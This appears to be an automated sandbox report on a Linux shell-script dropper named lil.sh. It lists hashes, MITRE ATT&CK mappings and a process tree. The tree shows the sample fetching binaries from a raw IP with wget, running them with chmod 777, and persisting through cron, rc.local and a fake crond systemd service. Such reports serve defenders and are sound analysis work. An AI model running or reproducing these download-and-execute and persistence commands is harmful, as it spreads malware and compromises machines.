696960df0d4396eccf76ddb8ed46560636ba69ba4817d4f43bcb6171a3d3cfe9

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/07/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 848B
Sample260722-pgalysef83
SHA256 696960df0d4396eccf76ddb8ed46560636ba69ba4817d4f43bcb6171a3d3cfe9
MD5 25c90fb79e681d4590f56bd221bdcc40
SHA1 d1e6297c9eb4393ccef71e9672d01630a7fa40b1
SHA512 bf7ef4b9f09cebc963691cb8bfd649e57df77bdd53fee048da2e01dbe94bca3aadc7e3f39118d6052621cac6da33b90b7be56d74e50444e5d1c5ca0974af95ce
TLSH
T17A01CECAD52499004099D41D36E75064F471C3CB1A8A8F6AFFACE83EDB8CD14B0ABF84
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
816	chmod
826	chmod
832	chmod
775	chmod
799	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/34Pn	777	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	34Pn
File opened for modification	/etc/crontab	34Pn

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	34Pn

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	34Pn

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	34Pn

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/884/cmdline	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/861/cmdline	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/306/exe	34Pn
File opened for reading	/proc/795/exe	34Pn
File opened for reading	/proc/860/cmdline	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/802/exe	34Pn
File opened for reading	/proc/807/cmdline	34Pn
File opened for reading	/proc/888/cmdline	34Pn
File opened for reading	/proc/167/cmdline	34Pn
File opened for reading	/proc/648/cmdline	34Pn
File opened for reading	/proc/841/exe	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/644/exe	34Pn
File opened for reading	/proc/871/exe	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/829/exe	34Pn
File opened for reading	/proc/867/cmdline	34Pn
File opened for reading	/proc/869/cmdline	34Pn
File opened for reading	/proc/318/exe	34Pn
File opened for reading	/proc/785/exe	34Pn
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/805/cmdline	34Pn
File opened for reading	/proc/861/exe	34Pn
File opened for reading	/proc/869/exe	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/150/exe	34Pn
File opened for reading	/proc/75/cmdline	34Pn
File opened for reading	/proc/837/cmdline	34Pn
File opened for reading	/proc/888/exe	34Pn
File opened for reading	/proc/5/cmdline	34Pn
File opened for reading	/proc/134/cmdline	34Pn
File opened for reading	/proc/867/exe	34Pn
File opened for reading	/proc/871/cmdline	34Pn
File opened for reading	/proc/42/cmdline	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/582/exe	34Pn
File opened for reading	/proc/583/cmdline	34Pn
File opened for reading	/proc/853/exe	34Pn
File opened for reading	/proc/167/exe	34Pn
File opened for reading	/proc/781/cmdline	34Pn
File opened for reading	/proc/836/cmdline	34Pn
File opened for reading	/proc/853/cmdline	34Pn
File opened for reading	/proc/865/cmdline	34Pn
File opened for reading	/proc/874/cmdline	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/2/cmdline	34Pn
File opened for reading	/proc/640/cmdline	34Pn
File opened for reading	/proc/795/cmdline	34Pn
File opened for reading	/proc/874/exe	34Pn
File opened for reading	/proc/914/exe	34Pn
File opened for reading	/proc/1/exe	34Pn
File opened for reading	/proc/10/cmdline	34Pn
File opened for reading	/proc/802/cmdline	34Pn
File opened for reading	/proc/884/exe	34Pn
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/14/cmdline	34Pn
File opened for reading	/proc/573/cmdline	34Pn

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/34Pn	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:651
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:653
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:658
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  PID:664
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/134/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/140/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/150/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/228/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/300/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/329/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/335/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/573/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/605/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  PID:746
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:763
- /bin/rm
  rm -rf 34Pn
  2⤵
  PID:766
- /usr/bin/wget
  wget http://129.121.110.105/34Pn
  2⤵
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 34Pn
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/34Pn
  ./34Pn lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:777
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:796
- /bin/rm
  rm -rf 3fN4
  2⤵
  PID:783
- /usr/bin/wget
  wget http://129.121.110.105/3fN4
  2⤵
  PID:785
- /bin/chmod
  chmod 777 3fN4
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/3fN4
  ./3fN4 lilin
  2⤵
  PID:803
- /bin/rm
  rm -rf FuF0
  2⤵
  PID:804
- /usr/bin/wget
  wget http://129.121.110.105/FuF0
  2⤵
  PID:805
- /bin/chmod
  chmod 777 FuF0
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/FuF0
  ./FuF0 lilin
  2⤵
  PID:821
- /bin/rm
  rm -rf EKT
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/EKT
  2⤵
  PID:823
- /bin/chmod
  chmod 777 EKT
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/EKT
  ./EKT lilin
  2⤵
  PID:828
- /bin/rm
  rm -rf iM7
  2⤵
  PID:829
- /usr/bin/wget
  wget http://129.121.110.105/iM7
  2⤵
  PID:830
- /bin/chmod
  chmod 777 iM7
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/iM7
  ./iM7 lilin
  2⤵
  PID:833
- /bin/rm
  rm -rf lil
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 32B
SHA256 cf66257bd5d069add8b28a2189d417329c66227986668ba6a9231a02ed113206
MD5 8ec9c91cedff789ad38257a311974111
SHA1 50fd0bb25b0a0509249666618a33abcc773b4dfe
SHA512 a9e97ef6a2d536c42c843116d3f28937927e72b2ae5c35102f53bb97e182ff3c42925c1ea938602517320e30c81ea1e849931034cd2554d59d5583e180802e31
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 36B
SHA256 c1d0cbb647ec1101a26bc646abbe0ac84697e702fcddae2ab717763b5a1d1088
MD5 05dd5dbef75055b26147f463d759a873
SHA1 e361f9ea7d43eebbb17fd165ca44ff67a7a2bfd0
SHA512 cfd3010c3b85271b8c0938013956a3640416d3e60168c4f28d273ba24f371dba6d6d0fc46ab50af2a24c8dbcaa28d181cdd612fa166836510f86732643bd7ed5
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 195B
SHA256 69eda6503fc29aa629ddcb6d2b1f9e621a76bc19f91f670cf4796b026d9fc831
MD5 1287987edbef5532ed3face68bd0dbc3
SHA1 f08977b76f724f6a64fe7e38ff7ad757e2fff7f2
SHA512 2a0339a5a918a93429f4c44b55976428e61e0eaffba5d0f45b1570ba346b815235364597ec7417f5681aa26a317fa0175c6725f3b2e89b89acc7256baa00ff02
TLSH
T140D0231355311491CD4F35A15DA717448CA1010016CF5170079014191DF10E711218BD
MD5 SHA1 SHA512 TLSH

Submit Download

34Pn

Path /tmp/34Pn
Size 69KB
SHA256 1a2e5e6b64e7b61be8d004ad0e23223f819792c1f0db775f9223bce5807fbf6e
MD5 5dc6d4f4c676519ed5e64b49bc035e8d
SHA1 db01bce0c4d60806a2e665a7046781caa304b7f2
SHA512 4283b08678a58c61a9879d23f634ef4a26e254c64fec9bf29aad2787548521bc66681b796038517b462b9ae2ad73187b5e8eaed6ad51c606cc1b08238b412067
SSDEEP 1536:OsoSDrT6qeVKac4ZjI770WtbKC1fC/vyV7hDyZcYxG2aF21zPPHaplyT:OsoSXTlU9lS70+N1fC/qV71U9aF21zP
TLSH
T132631966BC859F1BC5C6267BFF1E8348331723B8D3EA7113EA156F6527CB4160E2A142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads